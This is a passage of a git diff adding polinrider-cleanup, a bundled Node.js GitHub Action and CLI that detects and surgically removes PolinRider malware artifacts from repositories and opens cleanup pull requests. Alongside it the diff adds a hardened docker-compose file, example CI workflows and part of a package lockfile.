@__PURE__ */ new Map([ + [ + "git", + /* @__PURE__ */ new Set([ + "clone", + "config", + "checkout", + "add", + "diff", + "commit", + "push", + "rm", + "reflog", + "rev-parse", + "status", + "ls-files", + ]), + ], + ["gh", /* @__PURE__ */ new Set(["api", "pr"])], +]); +var GIT_VALUE_OPTS = /* @__PURE__ */ new Set([ + "-C", + "-c", + "--git-dir", + "--work-tree", + "--namespace", + "--exec-path", +]); +var HOOK_GUARD = ["-c", `core.hooksPath=${os.devNull}`]; +var CommandNotAllowedError = class extends Error { + constructor(message) { + super(message); + this.name = "CommandNotAllowedError"; + } +}; +function firstSubcommand(args, valueOpts) { + for (let i2 = 0; i2 < args.length; i2++) { + const a2 = args[i2]; + if (typeof a2 !== "string") continue; + if (!a2.startsWith("-")) return a2; + if (a2.includes("=")) continue; + if (valueOpts && valueOpts.has(a2)) i2++; + } + return void 0; +} +function assertAllowed(cmd, args = []) { + if (typeof cmd !== "string" || cmd.length === 0) { + throw new CommandNotAllowedError("command must be a non-empty string"); + } + if (cmd.includes("/") || cmd.includes("\\")) { + throw new CommandNotAllowedError( + `refusing path-bearing command "${cmd}" \u2014 only the bare names "git"/"gh" are allowed`, + ); + } + if (!ALLOWED.has(cmd)) { + throw new CommandNotAllowedError( + `command "${cmd}" is not on the allowlist (allowed: git, gh)`, + ); + } + const sub = firstSubcommand(args, cmd === "git" ? GIT_VALUE_OPTS : null); + if (!sub || !ALLOWED.get(cmd).has(sub)) { + throw new CommandNotAllowedError( + `subcommand "${sub ?? "(none)"}" is not allowed for "${cmd}"`, + ); + } + return { cmd, sub }; +} +function safeExec(cmd, args = [], opts = {}) { + assertAllowed(cmd, args); + return execa(cmd, args, { reject: false, shell: false, ...opts }); +} +function gitEnv(extra) { + return { + ...extra, + GIT_CONFIG_NOSYSTEM: "1", + // ignore /etc/gitconfig + GIT_CONFIG_GLOBAL: os.devNull, + // ignore ~/.gitconfig (no hijacked hooksPath) + GIT_TERMINAL_PROMPT: "0", + // never block on an interactive credential prompt + }; +} +function buildGitArgs(args = []) { + const finalArgs = [...HOOK_GUARD, ...args]; + const sub = firstSubcommand(finalArgs, GIT_VALUE_OPTS); + if ( + (sub === "commit" || sub === "push") && + !finalArgs.includes("--no-verify") + ) { + finalArgs.push("--no-verify"); + } + return finalArgs; +} +function safeGit(args = [], opts = {}) { + return safeExec("git", buildGitArgs(args), { + ...opts, + env: gitEnv(opts.env), + }); +} +function safeGh(args = [], opts = {}, token = process.env.GH_TOKEN) { + const env = { ...opts.env }; + if (token) { + env.GH_TOKEN = token; + env.GITHUB_TOKEN = token; + } + return safeExec("gh", args, { ...opts, env }); +} + +// src/remediator.js +async function remediate(repoDir, findings, opts = {}) { + const { dryRun = false, git = safeGit } = opts; + const result = { + changed: false, + dryRun, + applied: [], + skipped: [], + filesModified: [], + filesDeleted: [], + notes: [], + }; + for (const f of findings.findings) { + switch (f.action) { + case "strip-js-payload": + await stripJsPayload(repoDir, f, result, dryRun); + break; + case "remove-dir": + await deleteDir(f, result, dryRun); + break; + case "delete-font": + case "remove-artifact": + await deleteFile(f, result, dryRun); + break; + case "remove-font-set": + await deleteFileSet(f, result, dryRun); + break; + case "fix-gitignore": + break; + case "manual-review": + result.skipped.push({ + finding: f, + reason: "manual review required \u2014 not auto-removed", + }); + break; + default: + result.skipped.push({ + finding: f, + reason: `unknown action "${f.action}"`, + }); + } + } + await hardenGitignore(repoDir, result, dryRun); + await untrackEnvFiles(repoDir, result, dryRun, git); + result.changed = + !dryRun && + (result.filesModified.length > 0 || result.filesDeleted.length > 0); + return result; +} +function recordModified(result, file) { + if (!result.filesModified.includes(file)) result.filesModified.push(file); +} +function recordDeleted(result, file) { + if (!result.filesDeleted.includes(file)) result.filesDeleted.push(file); +} +async function stripJsPayload(repoDir, f, result, dryRun) { + const absPath = f.edit?.absPath ?? path9.join(repoDir, f.file); + let text; + try { + text = await fs4.readFile(absPath, "utf8"); + } catch { + result.skipped.push({ finding: f, reason: "file unreadable" }); + return; + } + const variant = JS_VARIANTS.find((v) => v.id === f.edit?.variantId); + const offset = variant + ? locatePayloadOffset(text, variant) + : (f.edit?.offset ?? -1); + if (!(offset > 0) || offset > text.length) { + result.skipped.push({ + finding: f, + reason: "could not locate payload start safely", + }); + return; + } + const kept = text.slice(0, offset).replace(/\s+$/, ""); + if (kept.length === 0) { + result.skipped.push({ + finding: f, + reason: "stripping would empty the file", + }); + return; + } + if (!dryRun) await fs4.writeFile(absPath, kept + "\n", "utf8"); + result.applied.push(f); + recordModified(result, f.file); +} +async function deleteDir(f, result, dryRun) { + const absPath = f.edit?.absPath; + if (!absPath || !existsSync2(absPath)) { + result.skipped.push({ finding: f, reason: "already gone" }); + return; + } + if (!dryRun) await fs4.rm(absPath, { recursive: true, force: true }); + result.applied.push(f); + recordDeleted(result, f.file); +} +async function deleteFile(f, result, dryRun) { + const absPath = f.edit?.absPath; + if (!absPath || !existsSync2(absPath)) { + result.skipped.push({ finding: f, reason: "already gone" }); + return; + } + if (!dryRun) await fs4.rm(absPath, { force: true }); + result.applied.push(f); + recordDeleted(result, f.file); +} +async function deleteFileSet(f, result, dryRun) { + const removals = Array.isArray(f.edit?.removals) ? f.edit.removals : []; + let any = false; + for (const { abs, rel } of removals) { + if (!abs || !existsSync2(abs)) continue; + if (!dryRun) await fs4.rm(abs, { force: true }); + recordDeleted(result, rel); + any = true; + } + if (any) result.applied.push(f); + else result.skipped.push({ finding: f, reason: "already gone" }); +} +async function hardenGitignore(repoDir, result, dryRun) { + const file = path9.join(repoDir, ".gitignore"); + let content = ""; + try { + content = await fs4.readFile(file, "utf8"); + } catch { + content = ""; + } + let lines = content.length ? content.split(/\r?\n/) : []; + const original = lines.join("\n"); + lines = lines.filter((l) => !GITIGNORE_INJECTED.includes(l.trim())); + const present = new Set(lines.map((l) => l.trim())); + for (const pat of ENV_PATTERNS) { + if (!present.has(pat)) { + lines.push(pat); + present.add(pat); + } + } + const next = lines.join("\n"); + if (next === original) return; + if (!dryRun) { + await fs4.writeFile(file, next.endsWith("\n") ? next : next + "\n", "utf8"); + } + recordModified(result, ".gitignore"); + result.notes.push( + `${dryRun ? "would remove" : "removed"} malware-injected entries from .gitignore and ensure${dryRun ? "" : "d"} .env patterns are ignored`, + ); +} +async function untrackEnvFiles(repoDir, result, dryRun, git) { + if (!existsSync2(path9.join(repoDir, ".git"))) return; + const literals = ENV_PATTERNS.filter((p) => !p.includes("*")); + for (const pat of literals) { + if (!existsSync2(path9.join(repoDir, pat))) continue; + const tracked = await git([ + "-C", + repoDir, + "ls-files", + "--error-unmatch", + pat, + ]); + if (tracked.exitCode !== 0) continue; + if (dryRun) { + result.notes.push(`would untrack ${pat} from the git index`); + continue; + } + const rm = await git(["-C", repoDir, "rm", "--cached", "--force", pat]); + if (rm.exitCode === 0) { + result.notes.push(`untracked ${pat} from the git index`); + recordModified(result, pat); + } + } +} + +// src/report.js +var PR_TITLE = "security: remove PolinRider malware artifacts"; +function findingLines(findings) { + return findings.findings.map((f) => { + const tag = f.contentConfirmed ? "[confirmed]" : "[review]"; + return `${tag} ${f.file}: ${f.description}`; + }); +} +function resultLines(result) { + const verb = result.dryRun ? "would " : ""; + const lines = []; + for (const f of result.applied) { + lines.push(`${verb}fixed ${f.file}: ${f.description ?? f.action}`); + } + for (const n2 of result.notes) lines.push(n2); + for (const s of result.skipped) { + lines.push(`skipped ${s.finding.file}: ${s.reason}`); + } + return lines; +} +function buildPrBody({ findings, result }) { + const out = []; + out.push("## PolinRider malware cleanup"); + out.push(""); + out.push( + "Automatically generated by polinrider-remover. Every change below was confirmed by a known PolinRider signature. The scanner reads files as inert text and never executes them.", + ); + out.push(""); + const REMOVAL_ACTIONS = /* @__PURE__ */ new Set([ + "remove-dir", + "remove-font-set", + "delete-font", + "remove-artifact", + ]); + const fixed = []; + for (const f of result.applied) { + const what = + REMOVAL_ACTIONS.has(f.action) || result.filesDeleted.includes(f.file) + ? "removed" + : "cleaned"; + fixed.push(`- \`${f.file}\`: ${what} \u2014 ${f.description ?? f.action}`); + } + for (const n2 of result.notes) fixed.push(`- ${n2}`); + if (fixed.length) { + out.push("### Removed / fixed"); + out.push(...fixed); + out.push(""); + } + const review = [ + ...findings.manualReview.map((m) => `- ${m}`), + ...result.skipped.map((s) => `- \`${s.finding.file}\`: ${s.reason}`), + ]; + if (review.length) { + out.push("### Needs manual review"); + out.push(...review); + out.push(""); + } + out.push( + "> \u26A0\uFE0F Also check the affected developer's machine for the initial dropper (a malicious npm global package or VS Code extension), and rotate any secrets that may have been exposed via committed `.env` files.", + ); + out.push(""); + return out.join("\n"); +} + +// src/sarif.js +import fs5 from "node:fs"; +import path10 from "node:path"; +var PROJECT_URL = "https://github.com/RMSoft-ltd/polinrider-cleanup"; +var levelOf = (f) => (f.contentConfirmed ? "error" : "warning"); +function lineFor(repoDir, f) { + const offset = f.edit?.offset; + if (!(offset > 0) || !repoDir) return 1; + try { + const text = fs5.readFileSync(path10.join(repoDir, f.file), "utf8"); + if (offset > text.length) return 1; + return text.slice(0, offset).split("\n").length; + } catch { + return 1; + } +} +function uriFor(repoRoot, repoDir, relFile) { + const abs = path10.join(repoDir || repoRoot, relFile); + const rel = path10.relative(repoRoot || repoDir, abs) || relFile; + return rel.split(path10.sep).join("/"); +} +function buildSarif(findings, opts = {}) { + const root = opts.repoRoot || opts.repoDir || findings.repoDir; + const dir = opts.repoDir || findings.repoDir || root; + const rules = /* @__PURE__ */ new Map(); + const results = findings.findings.map((f) => { + if (!rules.has(f.id)) { + rules.set(f.id, { + id: f.id, + name: f.id, + shortDescription: { text: `PolinRider ${f.category} artifact` }, + fullDescription: { text: f.description }, + defaultConfiguration: { level: levelOf(f) }, + helpUri: PROJECT_URL, + properties: { tags: ["security", "malware", "polinrider", f.category] }, + }); + } + return { + ruleId: f.id, + level: levelOf(f), + message: { text: f.description }, + locations: [ + { + physicalLocation: { + artifactLocation: { uri: uriFor(root, dir, f.file) }, + region: { startLine: lineFor(dir, f) }, + }, + }, + ], + properties: { + confidence: f.confidence, + contentConfirmed: f.contentConfirmed, + action: f.action, + }, + }; + }); + return { + $schema: "https://json.schemastore.org/sarif-2.1.0.json", + version: "2.1.0", + runs: [ + { + tool: { + driver: { + name: "polinrider-cleanup", + informationUri: PROJECT_URL, + rules: [...rules.values()], + }, + }, + results, + }, + ], + }; +} + +// src/ci.js +var BOT_EMAIL = "polinrider-cleanup-bot@users.noreply.github.com"; +var BOT_NAME = "PolinRider Cleanup Bot"; +var PROJECT_URL2 = "https://github.com/RMSoft-ltd/polinrider-cleanup"; +var sleep = (ms) => new Promise((r) => setTimeout(r, ms)); +var oneLine = (s) => (s || "").trim().split("\n")[0]; +function input(name) { + const v = process.env[`INPUT_${name.replace(/ /g, "_").toUpperCase()}`]; + return v === void 0 ? "" : v.trim(); +} +var bool = (v) => /^(true|1|yes|on)$/i.test(String(v).trim()); +function resolveSettings() { + const commentRaw = input("comment-on-pr"); + return { + mode: (input("mode") || "check").toLowerCase(), + scanPath: input("path") || ".", + exclude: input("exclude") || process.env.POLINRIDER_EXCLUDE || "", + token: + input("token") || process.env.GH_TOKEN || process.env.GITHUB_TOKEN || "", + failOn: (input("fail-on") || "infected").toLowerCase(), + commit: bool(input("commit")), + // default false + commentOnPr: commentRaw === "" ? true : bool(commentRaw), + sarifFile: input("sarif-file") || process.env.SARIF_FILE || "", + dryRun: input("dry-run") + ? bool(input("dry-run")) + : process.env.DRY_RUN === "true", + autoMerge: input("auto-merge") + ? bool(input("auto-merge")) + : process.env.AUTO_MERGE === "true", + mergeMethod: ( + input("merge-method") || + process.env.MERGE_METHOD || + "squash" + ).toLowerCase(), + branchPrefix: + input("branch-prefix") || + process.env.BRANCH_PREFIX || + "fix/polinrider-cleanup", + }; +} +function setOutput(name, value) { + const file = process.env.GITHUB_OUTPUT; + if (!file) return; + try { + fs6.appendFileSync( + file, + `${name}=${value} +`, + ); + } catch {} +} +function appendSummary(md) { + const file = process.env.GITHUB_STEP_SUMMARY; + if (!file) return; + try { + fs6.appendFileSync(file, md.endsWith("\n") ? md : md + "\n"); + } catch {} +} +var escData = (s) => + String(s).replace(/%/g, "%25").replace(/\r/g, "%0D").replace(/\n/g, "%0A"); +var escProp = (s) => escData(s).replace(/,/g, "%2C").replace(/:/g, "%3A"); +function annotate(level, { file, line, title, message }) { + const props = []; + if (file) props.push(`file=${escProp(file)}`); + if (line) props.push(`line=${line}`); + if (title) props.push(`title=${escProp(title)}`); + console.log( + `::${level}${props.length ? " " + props.join(",") : ""}::${escData(message)}`, + ); +} +var notice = (m) => console.log(`::notice::${escData(m)}`); +var warn = (m) => console.log(`::warning::${escData(m)}`); +var SEVERITY_RANK = { clean: 0, suspicious: 1, infected: 2 }; +function failThreshold(failOn) { + if (failOn === "never") return Infinity; + if (failOn === "suspicious") return SEVERITY_RANK.suspicious; + return SEVERITY_RANK.infected; +} +function findingLine(repoDir, f) { + const offset = f.edit?.offset; + if (!(offset > 0)) return 1; + try { + const text = fs6.readFileSync(path11.join(repoDir, f.file), "utf8"); + if (offset > text.length) return 1; + return text.slice(0, offset).split("\n").length; + } catch { + return 1; + } +} +function annotationPath(workspace, repoDir, relFile) { + return path11.relative(workspace, path11.join(repoDir, relFile)) || relFile; +} +function emitAnnotations(workspace, repoDir, findings) { + for (const f of findings.findings) { + annotate(f.contentConfirmed ? "error" : "warning", { + file: annotationPath(workspace, repoDir, f.file), + line: findingLine(repoDir, f), + title: f.contentConfirmed ? "PolinRider malware" : "PolinRider (review)", + message: f.description, + }); + } +} +function buildSummary({ settings, findings, result }) { + const icon = + findings.severity === "infected" + ? "\u{1F534}" + : findings.severity === "suspicious" + ? "\u{1F7E1}" + : "\u{1F7E2}"; + const out = [ + "## \u{1F6E1}\uFE0F PolinRider Malware Scan", + "", + `**Mode:** \`${settings.mode}\`${settings.dryRun ? " (dry run)" : ""} \xB7 **Severity:** ${icon} \`${findings.severity}\` \xB7 **Findings:** ${findings.findings.length}`, + "", + ]; + if (findings.findings.length) { + out.push("### Findings"); + for (const l of findingLines(findings)) out.push(`- ${l}`); + out.push(""); + } else { + out.push("No PolinRider signatures found. \u2705", ""); + } + if (result) { + out.push( + settings.dryRun ? "### Planned remediation (dry run)" : "### Remediation", + ); + const lines = resultLines(result); + if (lines.length) for (const l of lines) out.push(`- ${l}`); + else out.push("- (no changes)"); + out.push(""); + } + if (findings.manualReview.length) { + out.push("### Needs manual review"); + for (const m of findings.manualReview) out.push(`- ${m}`); + out.push(""); + } + out.push("---", `_Generated by [polinrider-cleanup](${PROJECT_URL2})._`); + return out.join("\n"); +} +async function configureIdentity(repoDir) { + await safeGit(["-C", repoDir, "config", "user.email", BOT_EMAIL]); + await safeGit(["-C", repoDir, "config", "user.name", BOT_NAME]); +} +var tokenUrl = (fullName, token) => + `https://x-access-token:${token}@github.com/${fullName}.git`; +function readEvent() { + const p = process.env.GITHUB_EVENT_PATH; + if (!p) return null; + try { + return JSON.parse(fs6.readFileSync(p, "utf8")); + } catch { + return null; + } +} +async function commitBack(repoDir, settings) { + const event = process.env.GITHUB_EVENT_NAME || ""; + if (event.startsWith("pull_request")) { + warn( + "commit skipped on pull_request events (detached HEAD / forks can't be pushed). Use mode: pr, or run fix on push events.", + ); + return false; + } + const fullName = process.env.GITHUB_REPOSITORY; + if (!fullName || !settings.token) { + warn("commit skipped \u2014 GITHUB_REPOSITORY or token unavailable."); + return false; + } + let branch = process.env.GITHUB_REF_NAME; + if (!branch) { + const rp = await safeGit([ + "-C", + repoDir, + "rev-parse", + "--abbrev-ref", + "HEAD", + ]); + branch = rp.stdout.trim(); + } + if (!branch || branch === "HEAD") { + warn( + "commit skipped \u2014 could not resolve a branch to push to (detached HEAD).", + ); + return false; + } + await configureIdentity(repoDir); + await safeGit(["-C", repoDir, "add", "-A"]); + const staged = await safeGit([ + "-C", + repoDir, + "diff", + "--cached", + "--name-only", + ]); + if (!staged.stdout.trim()) return false; + const commit = await safeGit([ + "-C", + repoDir, + "commit", + "-m", + "security: remove PolinRider malware artifacts\n\nAutomated cleanup by the polinrider-cleanup action.", + ]); + if (commit.exitCode !== 0) { + warn(`commit failed: ${oneLine(commit.stderr)}`); + return false; + } + const push = await safeGit([ + "-C", + repoDir, + "push", + tokenUrl(fullName, settings.token), + `HEAD:${branch}`, + ]); + if (push.exitCode !== 0) { + warn( + `push to ${branch} failed (protected branch?): ${oneLine(push.stderr)}`, + ); + return false; + } + notice(`Cleaned files committed and pushed to ${branch}.`); + return true; +} +async function openCleanupPr(repoDir, settings, findings, result) { + const fullName = process.env.GITHUB_REPOSITORY; + if (!fullName) throw new Error("GITHUB_REPOSITORY is not set"); + if (!settings.token) + throw new Error( + "a token is required for mode: pr (set `token:` or GH_TOKEN)", + ); + const branch = `${settings.branchPrefix}-${Date.now()}`; + await configureIdentity(repoDir); + const co = await safeGit(["-C", repoDir, "checkout", "-b", branch]); + if (co.exitCode !== 0) + throw new Error(`branch creation failed: ${oneLine(co.stderr)}`); + await safeGit(["-C", repoDir, "add", "-A"]); + const staged = await safeGit([ + "-C", + repoDir, + "diff", + "--cached", + "--name-only", + ]); + if (!staged.stdout.trim()) + return { skipped: true, reason: "no staged changes after remediation" }; + const commit = await safeGit([ + "-C", + repoDir, + "commit", + "-m", + `${PR_TITLE} + +Automated surgical cleanup by the polinrider-cleanup action.`, + ]); + if (commit.exitCode !== 0) + throw new Error(`commit failed: ${oneLine(commit.stderr)}`); + const push = await safeGit([ + "-C", + repoDir, + "push", + tokenUrl(fullName, settings.token), + branch, + ]); + if (push.exitCode !== 0) + throw new Error(`push failed: ${oneLine(push.stderr)}`); + const body = buildPrBody({ findings, result }); + const base = [ + "pr", + "create", + "--repo", + fullName, + "--title", + PR_TITLE, + "--body", + body, + "--head", + branch, + ]; + let pr = await safeGh([...base, "--label", "security"], {}, settings.token); + if (pr.exitCode !== 0) pr = await safeGh(base, {}, settings.token); + if (pr.exitCode !== 0) + throw new Error(`PR creation failed: ${oneLine(pr.stderr)}`); + const url = pr.stdout.trim(); + if (!settings.autoMerge) return { url, merged: false, mergeError: null }; + const mergeArgs = [ + "pr", + "merge", + url, + `--${settings.mergeMethod}`, + "--delete-branch", + ]; + let merge = await safeGh(mergeArgs, {}, settings.token); + if (merge.exitCode !== 0) { + await sleep(3e3); + merge = await safeGh(mergeArgs, {}, settings.token); + } + if (merge.exitCode === 0) return { url, merged: true, mergeError: null }; + return { + url, + merged: false, + mergeError: oneLine(merge.stderr || merge.stdout) || "merge failed", + }; +} +async function postPrComment(settings, summaryMd) { + if (!settings.commentOnPr) return; + if (!(process.env.GITHUB_EVENT_NAME || "").startsWith("pull_request")) return; + if (!settings.token) return; + const ev = readEvent(); + const num = ev?.pull_request?.number ?? ev?.number; + const fullName = process.env.GITHUB_REPOSITORY; + if (!num || !fullName) return; + const res = await safeGh( + ["pr", "comment", String(num), "--repo", fullName, "--body", summaryMd], + {}, + settings.token, + ); + if (res.exitCode !== 0) + warn( + `could not post PR comment (needs pull-requests: write): ${oneLine(res.stderr)}`, + ); +} +async function run() { + const settings = resolveSettings(); + if (!["check", "fix", "pr"].includes(settings.mode)) { + console.log( + `::error::invalid mode "${settings.mode}" (expected check | fix | pr)`, + ); + return 2; + } + const workspace = process.env.GITHUB_WORKSPACE || process.cwd(); + const repoDir = path11.resolve(workspace, settings.scanPath); + console.log( + `PolinRider scan \u2014 mode=${settings.mode} path=${path11.relative(workspace, repoDir) || "."}${settings.dryRun ? " (dry run)" : ""}`, + ); + const findings = await scanRepo(repoDir, { exclude: settings.exclude }); + emitAnnotations(workspace, repoDir, findings); + let result = null; + let prUrl = ""; + let changed = false; + if ( + (settings.mode === "fix" || settings.mode === "pr") && + findings.severity === "infected" + ) { + result = await remediate(repoDir, findings, { dryRun: settings.dryRun }); + changed = result.changed; + if ( + settings.mode === "fix" && + settings.commit && + !settings.dryRun && + changed + ) { + await commitBack(repoDir, settings); + } + if (settings.mode === "pr" && !settings.dryRun) { + if (changed) { + try { + const pr = await openCleanupPr(repoDir, settings, findings, result); + if (pr.skipped) { + warn(`PR skipped: ${pr.reason}`); + } else { + prUrl = pr.url; + if (pr.merged) notice(`Cleanup PR merged: ${prUrl}`); + else if (pr.mergeError) + warn( + `Cleanup PR opened (auto-merge blocked: ${pr.mergeError}): ${prUrl}`, + ); + else notice(`Cleanup PR opened: ${prUrl}`); + } + } catch (e) { + warn(`PR mode failed: ${e.message}`); + } + } else { + warn( + "Infected, but only manual-review items remain \u2014 no automated changes to open a PR for.", + ); + } + } + } + if (settings.sarifFile) { + try { + const sarif = buildSarif(findings, { repoRoot: workspace, repoDir }); + const dest = path11.resolve(settings.sarifFile); + await fsp.mkdir(path11.dirname(dest), { recursive: true }); + await fsp.writeFile(dest, JSON.stringify(sarif, null, 2)); + setOutput("sarif-file", settings.sarifFile); + } catch (e) { + warn(`could not write SARIF: ${e.message}`); + } + } + const summaryMd = buildSummary({ settings, findings, result }); + appendSummary(summaryMd); + await postPrComment(settings, summaryMd); + const remediated = !!( + result && + (result.filesModified.length || result.filesDeleted.length) + ); + setOutput("severity", findings.severity); + setOutput("infected", String(findings.severity === "infected")); + setOutput("findings-count", String(findings.findings.length)); + setOutput("changed", String(changed)); + setOutput("remediated", String(remediated)); + if (prUrl) setOutput("pr-url", prUrl); + const threshold = failThreshold(settings.failOn); + const sev = SEVERITY_RANK[findings.severity] ?? 0; + const wouldFailSeverity = threshold !== Infinity && sev >= threshold; + let code = 0; + if (settings.mode === "check" || settings.dryRun) { + code = wouldFailSeverity ? 1 : 0; + } else if (settings.mode === "fix") { + const unresolved = + findings.findings.filter( + (f) => f.contentConfirmed && f.action === "manual-review", + ).length + + (result?.skipped?.filter((s) => s.finding.contentConfirmed).length ?? 0); + code = + threshold !== Infinity && + findings.severity === "infected" && + unresolved > 0 + ? 1 + : 0; + } else if (settings.mode === "pr") { + code = + threshold !== Infinity && findings.severity === "infected" && !prUrl + ? 1 + : 0; + } + console.log( + findings.severity === "infected" + ? `Result: INFECTED \u2014 ${findings.findings.length} finding(s).` + : findings.severity === "suspicious" + ? "Result: suspicious file layout \u2014 no confirmed payload." + : "Result: clean.", + ); + return code; +} +var invokedDirectly = + process.argv[1] && + path11.resolve(process.argv[1]) === fileURLToPath3(import.meta.url); +if (invokedDirectly) { + run() + .then((code) => process.exit(code)) + .catch((err) => { + console.log(`::error::${escData(err.message)}`); + process.exit(1); + }); +} +export { buildSummary, failThreshold, resolveSettings, run }; diff --git a/docker-compose.yml b/docker-compose.yml new file mode 100644 index 0000000..c76dd07 --- /dev/null +++ b/docker-compose.yml @@ -0,0 +1,46 @@ +services: + polinrider-cleanup: + build: . + image: polinrider-cleanup:latest + container_name: polinrider-cleanup + + environment: + # Pass your GitHub PAT (needs repo + org:read scopes) + # Set this in your shell: export GH_TOKEN=ghp_... + - GH_TOKEN=${GH_TOKEN} + - GITHUB_TOKEN=${GH_TOKEN} # gh CLI reads either + # Target account — set EXACTLY ONE (comment out the other): + - GH_ORG=${GH_ORG:-} # an org name, e.g. mycompany + - GH_USER=${GH_USER:-} # OR your personal username (scans repos you own) + - DRY_RUN=${DRY_RUN:-false} # set to "true" to skip PR creation + - GH_REPO=${GH_REPO:-} # optional: scope to one/few repos (comma-separated) for a pilot + - AUTO_MERGE=${AUTO_MERGE:-false} # optional: auto-merge cleanup PRs (respects branch protection) + - MERGE_METHOD=${MERGE_METHOD:-squash} # squash | merge | rebase + - REPORTS_DIR=${REPORTS_DIR:-reports} # JSON + Markdown run reports land here (mounted below) + + # JSON + Markdown scan/remediation reports are written here (host ./reports). + volumes: + - ./reports:/app/reports + + # No network access except github.com — drop everything else + # (requires Docker with custom network + external DNS) + # For stricter isolation remove this and use default bridge + network_mode: bridge + + # Drop all Linux capabilities — scanner needs none + cap_drop: + - ALL + + # Read-only root fs — only /workspace and /app/reports are writable + read_only: true + tmpfs: + - /workspace:exec,mode=1777,size=2g + - /tmp:mode=1777,size=128m + - /home/scanner:mode=755,size=64m + + # Resource limits + deploy: + resources: + limits: + cpus: "2" + memory: 3G diff --git a/examples/check-on-pr.yml b/examples/check-on-pr.yml new file mode 100644 index 0000000..875c6c1 --- /dev/null +++ b/examples/check-on-pr.yml @@ -0,0 +1,18 @@ +# Block infected merges. Add `scan` as a REQUIRED status check in your branch +# protection / rulesets so a PR can't merge while malware is detected. +name: PolinRider scan +on: [pull_request] + +permissions: + contents: read + pull-requests: write # only needed for the PR comment; drop if comment-on-pr: false + +jobs: + scan: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - uses: RMSoft-ltd/polinrider-cleanup@v1 + with: + mode: check + # token defaults to ${{ github.token }} — only needed here for the PR comment diff --git a/examples/fix-on-push.yml b/examples/fix-on-push.yml new file mode 100644 index 0000000..1fb4a24 --- /dev/null +++ b/examples/fix-on-push.yml @@ -0,0 +1,21 @@ +# Auto-clean pushes to the default branch and commit the fix back. +# commit-back works on push events (not pull_request — see README). Pushes made +# with the default GITHUB_TOKEN do NOT retrigger workflows, so there's no loop. +name: PolinRider auto-clean +on: + push: + branches: [main] + +permissions: + contents: write # required to commit the cleanup back + +jobs: + clean: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - uses: RMSoft-ltd/polinrider-cleanup@v1 + with: + mode: fix + commit: true + token: ${{ secrets.GITHUB_TOKEN }} diff --git a/examples/pr-scheduled.yml b/examples/pr-scheduled.yml new file mode 100644 index 0000000..66d2305 --- /dev/null +++ b/examples/pr-scheduled.yml @@ -0,0 +1,23 @@ +# Scan the default branch on a schedule and open a cleanup PR if anything is +# found. Good for fork PRs / protected branches where commit-back can't push. +name: PolinRider weekly scan +on: + schedule: + - cron: "0 6 * * 1" # Mondays 06:00 UTC + workflow_dispatch: + +permissions: + contents: write # create the cleanup branch + pull-requests: write # open the PR + +jobs: + scan: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - uses: RMSoft-ltd/polinrider-cleanup@v1 + with: + mode: pr + token: ${{ secrets.GITHUB_TOKEN }} + # auto-merge: true # respects branch protection + # merge-method: squash diff --git a/package-lock.json b/package-lock.json new file mode 100644 index 0000000..c37f080 --- /dev/null +++ b/package-lock.json @@ -0,0 +1,1018 @@ +{ + "name": "polinrider-remover", + "version": "2.0.0", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "name": "polinrider-remover", + "version": "2.0.0", + "license": "MIT", + "dependencies": { + "chalk": "^5.3.0", + "execa": "^9.5.2", + "ora": "^8.1.1" + }, + "bin": { + "polinrider": "bin/polinrider.js" + }, + "devDependencies": { + "esbuild": "^0.25.0" + }, + "engines": { + "node": ">=20" + } + }, + "node_modules/@esbuild/aix-ppc64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.25.12.tgz", + "integrity": "sha512-Hhmwd6CInZ3dwpuGTF8fJG6yoWmsToE+vYgD4nytZVxcu1ulHpUQRAB1UJ8+N1Am3Mz4+xOByoQoSZf4D+CpkA==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "aix" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/android-arm": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.25.12.tgz", + "integrity": "sha512-VJ+sKvNA/GE7Ccacc9Cha7bpS8nyzVv0jdVgwNDaR4gDMC/2TTRc33Ip8qrNYUcpkOHUT5OZ0bUcNNVZQ9RLlg==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/android-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.25.12.tgz", + "integrity": "sha512-6AAmLG7zwD1Z159jCKPvAxZd4y/VTO0VkprYy+3N2FtJ8+BQWFXU+OxARIwA46c5tdD9SsKGZ/1ocqBS/gAKHg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/android-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.25.12.tgz", + "integrity": "sha512-5jbb+2hhDHx5phYR2By8GTWEzn6I9UqR11Kwf22iKbNpYrsmRB18aX/9ivc5cabcUiAT/wM+YIZ6SG9QO6a8kg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/darwin-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.25.12.tgz", + "integrity": "sha512-N3zl+lxHCifgIlcMUP5016ESkeQjLj/959RxxNYIthIg+CQHInujFuXeWbWMgnTo4cp5XVHqFPmpyu9J65C1Yg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/darwin-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.25.12.tgz", + "integrity": "sha512-HQ9ka4Kx21qHXwtlTUVbKJOAnmG1ipXhdWTmNXiPzPfWKpXqASVcWdnf2bnL73wgjNrFXAa3yYvBSd9pzfEIpA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=18" + } + }, + 